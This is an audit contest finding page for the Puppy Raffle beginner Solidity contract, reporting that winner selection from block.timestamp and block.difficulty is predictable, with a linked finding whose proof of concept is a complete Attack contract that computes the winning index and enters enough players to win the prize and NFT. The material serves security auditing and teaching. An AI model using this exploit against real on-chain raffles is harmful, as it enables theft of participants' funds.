Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

[H-2] Weak Randomness can lead to the predictable winner

hackflu

[H-2] Weak Randomness can lead to the predictable winner

Description:
The use of keccak256 hash functions on predictable values like block.timestamp, block.number, or similar data, including modulo operations on these values, should be avoided for generating randomness, as they are easily predictable and manipulable. The PREVRANDAO opcode also should not be used as a source of randomness. Instead, utilize Chainlink VRF for cryptographically secure and provably random values to ensure protocol integrity.

Impact:
It is easy to predict any winner though the help of block.timestamp and block.difficulty.Value of Both of this are easily available to everyone . so validators can use this make someone winner.

Proof of Concept:

  1. Validator can know ahead of time the block.timestamp and block.difficulty for the next block, which are used in the random number generation.

  2. By calculating the potential random number outcomes based on these values, a validator can predict which player will win the raffle.

example :

contract Game {
​
uint reward_determining_number;
​
function guessing() external{
reward_determining_number = uint256(block.blockhash(10000)) % 10;
}
}

Recommended Mitigation:
The possible Recommended Mitigation is to use the off-chain service like chainlink to generate the random number and use it in the Contract.Do not use block.timestamp, block.difficulty, or PREVRANDAO for randomness.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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